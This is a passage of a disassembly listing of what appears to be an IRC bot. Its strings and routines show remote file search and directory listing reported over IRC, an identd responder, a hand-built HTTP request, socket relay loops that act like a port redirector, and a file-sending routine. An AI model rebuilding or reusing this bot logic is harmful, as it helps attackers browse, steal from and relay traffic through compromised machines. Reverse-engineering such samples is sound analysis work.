--------------------------------------------------------------------------- loc_40FAAE: ; CODE XREF: sub_40F96A+63j mov esi, 200h push offset aSearchingForS ; "Searching for: %s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h loc_40FAC8: ; CODE XREF: sub_40F96A+5Aj ; sub_40F96A+142j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_C], ebx jz short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 cmp eax, 2 pop ecx jbe short loc_40FB63 push [ebp+arg_C] call sub_41AFE0 sub eax, 3 pop ecx jz short loc_40FB14 loc_40FB08: ; CODE XREF: sub_40F96A+1A8j mov ecx, [ebp+arg_C] cmp byte ptr [eax+ecx], 2Fh jz short loc_40FB14 dec eax jnz short loc_40FB08 loc_40FB14: ; CODE XREF: sub_40F96A+19Cj ; sub_40F96A+1A5j inc eax push eax lea eax, [ebp+var_594] push [ebp+arg_C] push eax call sub_41B5F0 add esp, 0Ch lea eax, [ebp+var_594] push eax push offset aTrTdColspan3AH ; "<TR>\r\n<TD COLSPAN=\"3\"><A HREF=\"%s\"><COD"... lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 loc_40FB63: ; CODE XREF: sub_40F96A+180j ; sub_40F96A+18Ej lea eax, [ebp+var_388] push eax push edi nop call near ptr 25C0000h lea ecx, [ebp+var_388] mov [ebp+arg_0], eax push ecx push eax nop call near ptr 27303D0h test eax, eax jz loc_40FF53 mov edi, 1FFh loc_40FB8F: ; CODE XREF: sub_40F96A+5E3j cmp [ebp+var_388], ebx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a__ ; ".." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_35C] push offset a_ ; "." push eax call sub_41C070 pop ecx test eax, eax pop ecx jz loc_40FF3B lea eax, [ebp+var_20] push eax lea eax, [ebp+var_374] push eax call near ptr 2730000h nop lea eax, [ebp+var_18] push eax lea eax, [ebp+var_20] push eax nop call near ptr 2720877h mov ax, [ebp+var_10] mov ecx, offset aPm ; "PM" cmp ax, 0Ch ja short loc_40FC04 mov ecx, offset aAm ; "AM" loc_40FC04: ; CODE XREF: sub_40F96A+293j cmp ax, 0Ch movzx eax, ax jbe short loc_40FC10 sub eax, 0Ch loc_40FC10: ; CODE XREF: sub_40F96A+2A1j push ecx movzx ecx, [ebp+var_E] push ecx push eax movzx eax, [ebp+var_18] push eax movzx eax, [ebp+var_12] push eax movzx eax, [ebp+var_16] push eax lea eax, [ebp+var_48] push offset a2_2d2_2d4d2_2d ; "%2.2d/%2.2d/%4d %2.2d:%2.2d %s" push eax call sub_41B886 add esp, 20h test byte ptr [ebp+var_388], 10h jz loc_40FDB3 inc [ebp+var_8] cmp [ebp+arg_8], ebx jz short loc_40FC84 lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push [ebp+arg_8] push offset aPrivmsgS31s21s ; "PRIVMSG %s :%-31s %-21s\n" jmp loc_40FEFC ; --------------------------------------------------------------------------- loc_40FC84: ; CODE XREF: sub_40F96A+2E0j cmp [ebp+arg_C], ebx jz loc_40FD6E push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset aSS_0 ; "%s%s/" push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Eh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FD24 push offset aCode_29sGtCode ; "\"><CODE>%.29s>/</CODE></A>" jmp short loc_40FD29 ; --------------------------------------------------------------------------- loc_40FD24: ; CODE XREF: sub_40F96A+3B1j push offset aCodeSCodeA ; "\"><CODE>%s/</CODE></A>" loc_40FD29: ; CODE XREF: sub_40F96A+3B8j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCode ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FEFD ; --------------------------------------------------------------------------- loc_40FD6E: ; CODE XREF: sub_40F96A+31Dj lea eax, [ebp+var_35C] push eax push offset aS ; "<%s>" lea eax, [ebp+var_490] push 106h push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_48] push eax lea eax, [ebp+var_490] push eax push offset a31s21s ; "%-31s %-21s\r\n" lea eax, [ebp+var_248] push esi push eax call sub_41B980 add esp, 14h jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDB3: ; CODE XREF: sub_40F96A+2D4j inc [ebp+var_4] cmp [ebp+arg_8], ebx jz short loc_40FDF2 push ebx push [ebp+var_368] call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push [ebp+arg_8] push offset aPrivmsgS31s2_0 ; "PRIVMSG %s :%-31s %-21s (%s bytes)\n" push esi loc_40FDDE: ; CODE XREF: sub_40F96A+577j lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 1Ch jmp loc_40FF0C ; --------------------------------------------------------------------------- loc_40FDF2: ; CODE XREF: sub_40F96A+44Fj cmp [ebp+arg_C], ebx jz loc_40FEE6 push 0E6h push offset aTrTdWidthDAHre ; "<TR>\r\n<TD WIDTH=\"%d\"><A HREF=\"" lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax lea eax, [ebp+var_248] push [ebp+arg_C] push offset dword_4293C4 push edi push eax call sub_41B980 add esp, 14h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 lea eax, [ebp+var_35C] push eax call sub_41AFE0 cmp eax, 1Fh pop ecx lea eax, [ebp+var_35C] push eax jbe short loc_40FE92 push offset aCode_30sGtCode ; "\"><CODE>%.30s></CODE></A>" jmp short loc_40FE97 ; --------------------------------------------------------------------------- loc_40FE92: ; CODE XREF: sub_40F96A+51Fj push offset aCodeSCodeA_0 ; "\"><CODE>%s</CODE></A>" loc_40FE97: ; CODE XREF: sub_40F96A+526j lea eax, [ebp+var_248] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 mov eax, [ebp+var_368] shr eax, 0Ah push eax lea eax, [ebp+var_48] push 3Ch push eax push 96h push offset aTdTdWidthDCo_0 ; "</TD>\r\n<TD WIDTH=\"%d\"><CODE>%s</CODE></"... push edi jmp loc_40FDDE ; --------------------------------------------------------------------------- loc_40FEE6: ; CODE XREF: sub_40F96A+48Bj push [ebp+var_368] lea eax, [ebp+var_48] push eax lea eax, [ebp+var_35C] push eax push offset a31s21sIBytes ; "%-31s %-21s (%i bytes)\r\n" loc_40FEFC: ; CODE XREF: sub_40F96A+315j push esi loc_40FEFD: ; CODE XREF: sub_40F96A+3FFj lea eax, [ebp+var_248] push eax call sub_41B980 add esp, 18h loc_40FF0C: ; CODE XREF: sub_40F96A+444j ; sub_40F96A+483j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 cmp [ebp+arg_8], ebx jz short loc_40FF3B push 7D0h nop call near ptr 2660000h loc_40FF3B: ; CODE XREF: sub_40F96A+22Bj ; sub_40F96A+246j ... lea eax, [ebp+var_388] push eax push [ebp+arg_0] call near ptr 27303D0h nop test eax, eax jnz loc_40FB8F loc_40FF53: ; CODE XREF: sub_40F96A+21Aj push [ebp+arg_0] call near ptr 2720000h nop cmp [ebp+arg_8], ebx jz short loc_40FF96 mov eax, [ebp+var_8] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax mov eax, [ebp+var_4] cdq push edx push eax call sub_416922 pop ecx pop ecx push eax lea eax, [ebp+var_248] push [ebp+arg_8] push offset aPrivmsgSFoundS ; "PRIVMSG %s :Found %s Files and %s Direc"... push eax call sub_41B886 add esp, 14h jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FF96: ; CODE XREF: sub_40F96A+5F5j cmp [ebp+arg_C], ebx jz short loc_40FFB0 lea eax, [ebp+var_248] push offset aTrTdColspan3_0 ; "<TR>\r\n<TD COLSPAN=\"3\"><HR></TD>\r\n</TR>\r"... push eax call sub_41B886 pop ecx pop ecx jmp short loc_40FFCA ; --------------------------------------------------------------------------- loc_40FFB0: ; CODE XREF: sub_40F96A+62Fj push [ebp+var_8] lea eax, [ebp+var_248] push [ebp+var_4] push offset aFoundIFilesAnd ; "Found: %i Files and %i Directories\r\n" push eax call sub_41B886 add esp, 10h loc_40FFCA: ; CODE XREF: sub_40F96A+62Aj ; sub_40F96A+644j lea eax, [ebp+var_248] push ebx push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_248] push eax push [ebp+arg_4] call dword_4CAFC4 pop edi pop esi xor eax, eax pop ebx leave retn sub_40F96A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40FFF0 proc near ; CODE XREF: sub_40F530+13Cp var_404 = byte ptr -404h var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 404h push ebx push esi xor esi, esi push edi push esi push esi push 3 push esi push 1 push 80000000h push [ebp+arg_4] mov edi, 400h mov [ebp+var_4], esi call near ptr 26E08DCh nop mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4100A8 push esi push ebx nop call near ptr 2710C12h cmp eax, esi mov [ebp+arg_4], eax jz short loc_4100A1 loc_410035: ; CODE XREF: sub_40FFF0+AFj push 400h lea eax, [ebp+var_404] push esi push eax call sub_41B590 add esp, 0Ch cmp edi, [ebp+arg_4] loc_41004D: ; DATA XREF: ___:00437A38o ; ___:00437A4Co jbe short loc_410052 mov edi, [ebp+arg_4] loc_410052: ; CODE XREF: sub_40FFF0:loc_41004Dj mov eax, [ebp+arg_4] push 2 neg eax push esi push eax push ebx nop call near ptr 2740000h lea eax, [ebp+var_4] push esi push eax lea eax, [ebp+var_404] push edi push eax push ebx nop call near ptr 26E0000h push esi lea eax, [ebp+var_404] push edi push eax push [ebp+arg_0] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41009C call dword_4CAF08 cmp eax, 2733h jnz short loc_4100A1 xor eax, eax loc_41009C: ; CODE XREF: sub_40FFF0+9Bj sub [ebp+arg_4], eax jnz short loc_410035 loc_4100A1: ; CODE XREF: sub_40FFF0+43j ; sub_40FFF0+A8j push ebx call near ptr 26408DCh nop loc_4100A8: ; CODE XREF: sub_40FFF0+30j pop edi pop esi pop ebx leave retn sub_40FFF0 endp ; =============== S U B R O U T I N E ======================================= sub_4100AD proc near ; CODE XREF: sub_40F6B3+181p arg_0 = dword ptr 4 push esi push edi mov edi, [esp+8+arg_0] xor esi, esi push edi call sub_41AFE0 test eax, eax pop ecx jbe short loc_4100D6 loc_4100C0: ; CODE XREF: sub_4100AD+27j cmp byte ptr [esi+edi], 5Ch jnz short loc_4100CA mov byte ptr [esi+edi], 2Fh loc_4100CA: ; CODE XREF: sub_4100AD+17j push edi inc esi call sub_41AFE0 cmp esi, eax pop ecx jb short loc_4100C0 loc_4100D6: ; CODE XREF: sub_4100AD+11j mov eax, edi pop edi pop esi retn sub_4100AD endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4100DB proc near ; CODE XREF: sub_401ACD+5297p var_4A0 = byte ptr -4A0h var_310 = byte ptr -310h var_110 = byte ptr -110h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h arg_14 = dword ptr 1Ch arg_18 = dword ptr 20h arg_1C = dword ptr 24h arg_20 = dword ptr 28h push ebp mov ebp, esp sub esp, 4A0h push ebx lea eax, [ebp+var_4A0] push edi push eax push 101h call dword_4CAEE4 push 6 push 1 push 2 call dword_4CAFF4 mov ebx, eax xor edi, edi push 10h lea eax, [ebp+var_10] push edi push eax call sub_41B590 add esp, 0Ch mov [ebp+var_10], 2 push [ebp+arg_14] call dword_4CAF74 push [ebp+arg_10] mov [ebp+var_E], ax call sub_40AAF9 pop ecx mov [ebp+var_C], eax lea eax, [ebp+var_10] push 10h push eax push ebx call dword_4CAF1C cmp eax, 0FFFFFFFFh jz short loc_4101B8 mov eax, [ebp+arg_20] cmp eax, edi jnz short loc_410154 mov eax, offset dword_43D128 loc_410154: ; CODE XREF: sub_4100DB+72j push esi mov esi, 100h push [ebp+arg_10] push eax lea eax, [ebp+var_110] push [ebp+arg_1C] push [ebp+arg_18] push offset aSSHttp1_1Refer ; "%s %s HTTP/1.1\nReferer: %s\nHost: %s\nCon"... push esi push eax call sub_41B980 add esp, 1Ch lea eax, [ebp+var_110] push edi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp+var_110] push eax push ebx call dword_4CAFC4 push esi lea eax, [ebp+var_110] push edi push eax call sub_41C310 add esp, 0Ch lea eax, [ebp+var_110] push edi push esi push eax push ebx call dword_4CAF8C pop esi loc_4101B8: ; CODE XREF: sub_4100DB+6Bj push ebx call dword_4CB00C call dword_4CAECC lea eax, [ebp+var_110] push eax lea eax, [ebp+var_310] push eax call sub_41B886 cmp [ebp+arg_C], edi pop ecx pop ecx jnz short loc_4101F8 push edi lea eax, [ebp+var_310] push [ebp+arg_8] push eax push [ebp+arg_4] push [ebp+arg_0] call sub_409A72 add esp, 14h loc_4101F8: ; CODE XREF: sub_4100DB+102j pop edi pop ebx leave retn sub_4100DB endp ; --------------------------------------------------------------------------- loc_4101FC: ; DATA XREF: ___:00401666o ; sub_401ACD+4369o push ebp mov ebp, esp sub esp, 238h push ebx push esi push edi push 10h pop edi xor esi, esi push edi lea eax, [ebp-1Ch] push esi push eax mov [ebp-8], esi call sub_41B590 add esp, 0Ch mov word ptr [ebp-1Ch], 2 push 71h call dword_4CAF74 push esi push 1 push 2 mov [ebp-1Ah], ax mov [ebp-18h], esi call dword_4CAFF4 mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_410360 mov eax, [ebp+8] push edi imul eax, 234h mov dword_43DEBC[eax], ebx lea eax, [ebp-1Ch] push eax push ebx call dword_4CAFA0 cmp eax, 0FFFFFFFFh jz loc_410360 push 5 push ebx call dword_4CAF9C cmp eax, 0FFFFFFFFh jz loc_410360 mov [ebp-0Ch], edi mov edi, 200h loc_410287: ; CODE XREF: ___:004102E6j ; ___:00410349j ... lea eax, [ebp-0Ch] push eax lea eax, [ebp-2Ch] push eax push ebx call dword_4CB008 cmp eax, 0FFFFFFFFh mov [ebp-4], eax jz loc_41035B movzx eax, word ptr [ebp-2Ah] push eax push dword ptr [ebp-28h] call dword_4CB000 push eax lea eax, [ebp-238h] push offset dword_433F9C push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 14h lea eax, [ebp-238h] push esi push edi push eax push dword ptr [ebp-4] call dword_4CAF8C cmp eax, 0FFFFFFFFh jz short loc_410287 lea eax, [ebp-238h] push esi push eax call sub_417F7F push 0Ch lea eax, [ebp-38h] push esi push eax call sub_41B590 push esi push esi lea eax, [ebp-38h] push 2 push eax call sub_40B08D add esp, 24h push eax push offset aUseridUnixS ; " : USERID : UNIX : %s\r\n" lea eax, [ebp-238h] push edi push eax call sub_41B980 add esp, 10h lea eax, [ebp-238h] push esi push eax call sub_41AFE0 pop ecx push eax lea eax, [ebp-238h] push eax push dword ptr [ebp-4] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jz loc_410287 mov dword ptr [ebp-8], 1 jmp loc_410287 ; --------------------------------------------------------------------------- loc_41035B: ; CODE XREF: ___:0041029Cj cmp [ebp-8], esi jnz short loc_410387 loc_410360: ; CODE XREF: ___:00410243j ; ___:00410267j ... call dword_4CAF08 push eax lea eax, [ebp-238h] push offset dword_433F58 push eax call sub_41B886 lea eax, [ebp-238h] push eax call sub_4151AC add esp, 10h loc_410387: ; CODE XREF: ___:0041035Ej push ebx call dword_4CB00C push dword ptr [ebp-4] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push esi call near ptr 26C0000h nop pop edi pop esi pop ebx loc_4103AA: ; DATA XREF: sub_401ACD+613Bo push ebp mov ebp, esp sub esp, 350h mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-150h] push 10h rep movsd pop edi mov dword ptr [eax+120h], 1 xor esi, esi push edi lea eax, [ebp-14h] push esi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-14h], 2 push dword ptr [ebp-44h] call dword_4CAF74 push 6 push 1 push 2 mov [ebp-12h], ax mov [ebp-10h], esi mov [ebp-4], edi call dword_4CAFF4 cmp eax, 0FFFFFFFFh mov [ebp+8], eax jz loc_410516 mov ecx, [ebp-40h] push 1 imul ecx, 234h push 401h push esi push eax mov dword_43DEBC[ecx], eax call dword_4CAE84 lea eax, [ebp-14h] push edi push eax push dword ptr [ebp+8] call dword_4CAFA0 test eax, eax jnz loc_410516 push 0Ah push dword ptr [ebp+8] call dword_4CAF9C test eax, eax jnz loc_410516 loc_41045A: ; CODE XREF: ___:00410470j lea eax, [ebp-4] push eax lea eax, [ebp-28h] push eax push dword ptr [ebp+8] call dword_4CB008 mov edi, eax cmp edi, 0FFFFFFFFh jz short loc_41045A movzx eax, word ptr [ebp-26h] push dword ptr [ebp-40h] mov [ebp-14Ch], edi mov [ebp-30h], esi push eax push dword ptr [ebp-24h] call dword_4CB000 push eax lea eax, [ebp-350h] push offset unk_434004 push eax call sub_41B886 push edi lea eax, [ebp-350h] push 18h push eax call sub_40B0F6 mov [ebp-3Ch], eax imul eax, 234h mov ecx, [ebp-40h] add esp, 20h mov dword_43DEB4[eax], ecx lea eax, [ebp-18h] push eax lea eax, [ebp-150h] push esi push eax push offset loc_41053B push esi push esi nop ; --------------------------------------------------------------------------- dw 90E8h dd 8B0224FBh, 0C969C44Dh, 234h, 8189C63Bh, 43DEC4h, 75391374h dd 63850FD0h, 6AFFFFFFh, 1E89032h, 0EB0224FBh, 7BE890EDh dd 50022503h, 433FC868h, 4D0EE800h, 59590000h ; --------------------------------------------------------------------------- jmp short loc_410519 ; --------------------------------------------------------------------------- loc_410516: ; CODE XREF: ___:0041040Dj ; ___:00410441j ... mov edi, [ebp+8] loc_410519: ; CODE XREF: ___:00410514j push edi call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-40h] call sub_40B412 pop ecx push esi nop call near ptr 26C0000h pop edi pop esi loc_41053B: ; DATA XREF: ___:004104CEo push ebp mov ebp, esp mov eax, 1344h call sub_41BB20 mov eax, [ebp+8] push ebx push esi push edi push 4Ah mov esi, eax pop ecx lea edi, [ebp-144h] rep movsd mov ebx, [ebp-30h] push 1 pop ecx mov [ebp-4], ebx push 6 push ecx push 2 mov [eax+120h], ecx call dword_4CAFF4 mov esi, eax xor edi, edi cmp esi, 0FFFFFFFFh mov [ebp+8], esi jz loc_4106F1 push 10h lea eax, [ebp-18h] push edi push eax call sub_41B590 add esp, 0Ch mov word ptr [ebp-18h], 2 push dword ptr [ebp-3Ch] call dword_4CAF74 mov [ebp-16h], ax lea eax, [ebp-13Ch] push eax call dword_4CAFB4 cmp eax, 0FFFFFFFFh mov [ebp-8], eax jnz short loc_4105CB lea eax, [ebp-13Ch] push eax call dword_4CAFF8 jmp short loc_4105D9 ; --------------------------------------------------------------------------- loc_4105CB: ; CODE XREF: ___:004105BAj push 2 lea eax, [ebp-8] push 4 push eax call dword_4CAF2C loc_4105D9: ; CODE XREF: ___:004105C9j cmp eax, edi jz loc_4106F1 mov eax, [eax+0Ch] push 10h mov eax, [eax] mov eax, [eax] mov [ebp-14h], eax lea eax, [ebp-18h] push eax push esi call dword_4CAF1C cmp eax, 0FFFFFFFFh jz loc_4106F1 movzx eax, word ptr [ebp-16h] push dword ptr [ebp-34h] mov [ebp-20h], edi push eax push dword ptr [ebp-14h] call dword_4CB000 push eax lea eax, [ebp-344h] push offset unk_43408C push eax call sub_41B886 push esi lea eax, [ebp-344h] push 18h push eax call sub_40B0F6 imul ebx, 234h mov [ebp-30h], eax imul eax, 234h mov ecx, [ebp-34h] lea esi, dword_43DEBC[ebx] mov dword_43DEB4[eax], ecx add esp, 20h mov ecx, [esi] mov dword_43DEC0[eax], ecx lea eax, [ebp-1Ch] push eax lea eax, [ebp-144h] push edi push eax push offset loc_410722 push edi push edi call near ptr 266006Bh nop mov ecx, [ebp-30h] imul ecx, 234h cmp eax, edi mov dword_43DEC4[ecx], eax jz short loc_4106DE loc_41068B: ; CODE XREF: ___:00410698j cmp [ebp-20h], edi jnz short loc_41069A push 32h nop call near ptr 2660000h jmp short loc_41068B ; --------------------------------------------------------------------------- loc_41069A: ; CODE XREF: ___:0041068Ej mov ebx, 1000h loc_41069F: ; CODE XREF: ___:004106DAj push ebx lea eax, [ebp-1344h] push edi push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1344h] push edi push ebx push eax push dword ptr [esi] call dword_4CAF8C cmp eax, edi jle short loc_4106F1 push edi push eax lea eax, [ebp-1344h] push eax push dword ptr [ebp+8] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_41069F jmp short loc_4106F1 ; --------------------------------------------------------------------------- loc_4106DE: ; CODE XREF: ___:00410689j nop call near ptr 2660882h push eax push offset unk_43404C call sub_415220 pop ecx pop ecx loc_4106F1: ; CODE XREF: ___:0041057Fj ; ___:004105DBj ... mov eax, [ebp-4] imul eax, 234h push dword_43DEBC[eax] call dword_4CB00C push dword ptr [ebp+8] call dword_4CB00C push dword ptr [ebp-4] call sub_40B412 pop ecx push edi call near ptr 26C0000h nop pop edi pop esi pop ebx loc_410722: ; DATA XREF: ___:0041066Bo push ebp mov ebp, esp mov eax, 1128h call sub_41BB20 mov eax, [ebp+8] push esi push edi push 4Ah pop ecx mov esi, eax lea edi, [ebp-128h] rep movsd mov esi, [ebp-14h] mov dword ptr [eax+124h], 1 imul esi, 234h mov edi, 1000h loc_410759: ; CODE XREF: ___:0041079Ej push edi lea eax, [ebp-1128h] push 0 push eax call sub_41B590 add esp, 0Ch lea eax, [ebp-1128h] push 0 push edi push eax push dword_43DEC0[esi] call dword_4CAF8C test eax, eax jle short loc_4107A0 push 0 push eax lea eax, [ebp-1128h] push eax push dword_43DEBC[esi] call dword_4CAFC4 cmp eax, 0FFFFFFFFh jnz short loc_410759 loc_4107A0: ; CODE XREF: ___:00410783j push dword_43DEC0[esi] call dword_4CB00C push dword ptr [ebp-14h] call sub_40B412 pop ecx push 0 nop ; --------------------------------------------------------------------------- dd 2AF843E8h ; --------------------------------------------------------------------------- add bl, [edi+5Eh] push ebp mov ebp, esp sub esp, 3D4h mov eax, [ebp+8] push ebx push esi push edi push 78h mov esi, eax pop ecx lea edi, [ebp-3D4h] push 1 mov dword ptr [ebp-0Ch], 1Eh pop ebx rep movsd mov [eax+1DCh], ebx mov eax, [ebp-208h] mov [ebp+8], eax imul eax, 234h lea esi, dword_43DEBC[eax] xor edi, edi mov [ebp-8], edi mov [ebp-1F4h], ebx mov eax, [esi] mov [ebp-1F0h], eax lea eax, [ebp-0Ch] push eax push edi lea eax, [ebp-1F4h] push edi push eax push edi call dword_4CAF5C test eax, eax jnz short loc_410843 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi nop call near ptr 26C0000h loc_410843: ; CODE XREF: ___:00410829j push edi lea eax, [ebp-3Ch] push ebx push eax push dword ptr [esi] call dword_4CAF8C lea eax, [ebp-2Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-4Ch] push 10h push eax push dword ptr [esi] call sub_4109C4 lea eax, [ebp-0F0h] push 40h push eax push dword ptr [esi] call sub_4109C4 add esp, 24h lea eax, [ebp-4] mov dword ptr [ebp-4], 10h push eax lea eax, [ebp-1Ch] push eax push dword ptr [esi] call dword_4CAEC8 test eax, eax jz short loc_4108BC call dword_4CAF08 push eax push offset unk_434164 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push edi call near ptr 26C0000h nop loc_4108BC: ; CODE XREF: ___:00410897j push 2 lea eax, [ebp-18h] push 4 push eax call dword_4CAF2C cmp eax, edi jnz short loc_4108E6 push dword ptr [ebp-18h] call dword_4CB000 push eax lea eax, [ebp-0B0h] push eax call sub_41B886 jmp short loc_4108F4 ; --------------------------------------------------------------------------- loc_4108E6: ; CODE XREF: ___:004108CCj push dword ptr [eax] lea eax, [ebp-0B0h] push eax call sub_41BEB0 loc_4108F4: ; CODE XREF: ___:004108E4j pop ecx pop ecx push edi push ebx push offset dword_43D128 push dword ptr [esi] call dword_4CAFC4 cmp dword_4CDCD8, edi jnz short loc_410956 push dword ptr [ebp-18h] lea eax, [ebp-350h] push eax lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax call sub_410A1E add esp, 10h test eax, eax jnz short loc_410956 push edi push 13h push offset aPermissionDeni ; "Permission denied\n" push dword ptr [esi] call dword_4CAFC4 push dword ptr [esi] call dword_4CB00C push dword ptr [ebp+8] call sub_40B412 pop ecx push edi call near ptr 26C0000h nop loc_410956: ; CODE XREF: ___:0041090Bj ; ___:0041092Cj lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_434128 call sub_415220 push dword ptr [ebp+8] call sub_410CD5 add esp, 10h test eax, eax jnz short loc_41099D nop call near ptr 2660882h push eax push offset unk_4340FC call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 0Ch push ebx call near ptr 26C0000h nop loc_41099D: ; CODE XREF: ___:00410978j lea eax, [ebp-0B0h] push eax lea eax, [ebp-2Ch] push eax push offset unk_4340D0 call sub_415220 push dword ptr [ebp+8] call sub_40B412 add esp, 10h push edi call near ptr 26C0000h nop ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4109C4 proc near ; CODE XREF: ___:00410859p ; ___:00410866p ... var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp push ecx push esi push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jnz short loc_410A14 mov esi, [ebp+arg_4] loc_4109E2: ; CODE XREF: sub_4109C4+41j mov al, [ebp+var_1] mov [esi], al inc esi dec [ebp+arg_8] jz short loc_410A09 test al, al jz short loc_410A18 push 0 lea eax, [ebp+var_1] push 1 push eax push [ebp+arg_0] call dword_4CAF8C cmp eax, 1 jz short loc_4109E2 jmp short loc_410A14 ; --------------------------------------------------------------------------- loc_410A09: ; CODE XREF: sub_4109C4+27j push offset unk_434190 call sub_415220 pop ecx loc_410A14: ; CODE XREF: sub_4109C4+19j ; sub_4109C4+43j xor eax, eax jmp short loc_410A1B ; --------------------------------------------------------------------------- loc_410A18: ; CODE XREF: sub_4109C4+2Bj push 1 pop eax loc_410A1B: ; CODE XREF: sub_4109C4+52j pop esi leave retn sub_4109C4 endp ; =============== S U B R O U T I N E ======================================= sub_410A1E proc near ; CODE XREF: ___:00410922p arg_0 = dword ptr 4 arg_4 = dword ptr 8 arg_8 = dword ptr 0Ch push [esp+arg_0] push [esp+4+arg_8] call sub_41C070 pop ecx test eax, eax pop ecx jz short loc_410A49 push [esp+arg_4] push [esp+4+arg_0] push offset dword_4341BC call sub_415220 add esp, 0Ch xor eax, eax retn ; --------------------------------------------------------------------------- loc_410A49: ; CODE XREF: sub_410A1E+11j push 1 pop eax retn sub_410A1E endp ; --------------------------------------------------------------------------- byte_410A4D db 55h, 8Bh, 0ECh ; DATA XREF: sub_401ACD+23D4o dd 5A4EC81h, 458B0000h, 6A575608h, 0F08B5978h, 0FDECBD8Dh dd 16AFFFFh, 895FA5F3h, 1DCB8h, 5C858D00h, 50FFFFFAh, 20268h dd 0E415FF00h, 33004CAEh, 74C63BF6h, 2C68501Dh, 0E8004343h dd 478Ch, 0E8B475FFh, 0FFFFA976h, 570CC483h, 2AF55BE8h dd 68579002h, 410CCBh, 33F54FE8h, 0C0859002h, 0E8902975h dd 224FDC6h, 42E86850h, 59E80043h, 59000047h, 0CC15FF59h dd 0FF004CAEh, 3BE8B475h, 59FFFFA9h, 21E89057h, 53022AF5h dd 458D106Ah, 0E85056E0h, 0AAA4h, 660CC483h, 2E045C7h dd 0B075FF00h, 0AF7415FFh, 66A004Ch, 66026A57h, 